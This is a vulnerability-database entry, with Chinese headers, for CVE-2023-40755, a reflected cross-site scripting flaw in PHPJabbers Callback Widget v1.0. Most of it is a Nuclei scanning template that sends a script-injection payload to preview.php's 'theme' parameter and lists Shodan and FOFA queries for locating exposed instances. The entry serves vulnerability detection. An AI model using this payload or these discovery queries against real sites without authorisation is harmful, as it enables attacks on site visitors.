CVE-2023-40755: PHPJabbers Callback Widget v1.0 - Cross-Site Scripting

日期: 2025-08-01 | 影响软件: PHPJabbers Callback Widget v1.0 | POC: 已公开

漏洞描述

There is a Cross Site Scripting (XSS) vulnerability in the "theme" parameter of preview.php in PHPJabbers Callback Widget v1.0.

PoC代码[已公开]

id: CVE-2023-40755

info:
  name: PHPJabbers Callback Widget v1.0 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    There is a Cross Site Scripting (XSS) vulnerability in the "theme" parameter of preview.php in PHPJabbers Callback Widget v1.0.
  reference:
    - https://medium.com/@tfortinsec/multiple-vulnerabilities-in-phpjabbers-part-3-40fc3565982f
    - https://nvd.nist.gov/vuln/detail/CVE-2023-40755
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-40755
    cwe-id: CWE-79
    epss-score: 0.01429
    epss-percentile: 0.7997
    cpe: cpe:2.3:a:phpjabbers:callback_widget:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"PHPJabbers"
    fofa-query: body="PHPJabbers"
    vendor: phpjabbers
    product: callback_widget
  tags: cve,cve2023,phpjabbers,callback-widget,xss

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    host-redirects: true
    max-redirects: 2
    matchers:
      - type: word
        part: body
        words:
          - 'PHPJabbers'
        case-insensitive: true
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/preview.php?theme=theme10dnel8%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3Eko0so"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'theme=theme10dnel8"><script>alert(document.domain)</script>ko0'

      - type: word
        part: content_type
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100e5493942020ccc59aa9f553d662c3a74b4fcd99ff91ae024d204f55400c07648022100d3f5af86c2ba3f038fa5bc6105a1e25c95c3e0529291fd616ba84e18bb68b245:922c64590222798bb761d5b6d8e72950

相关漏洞推荐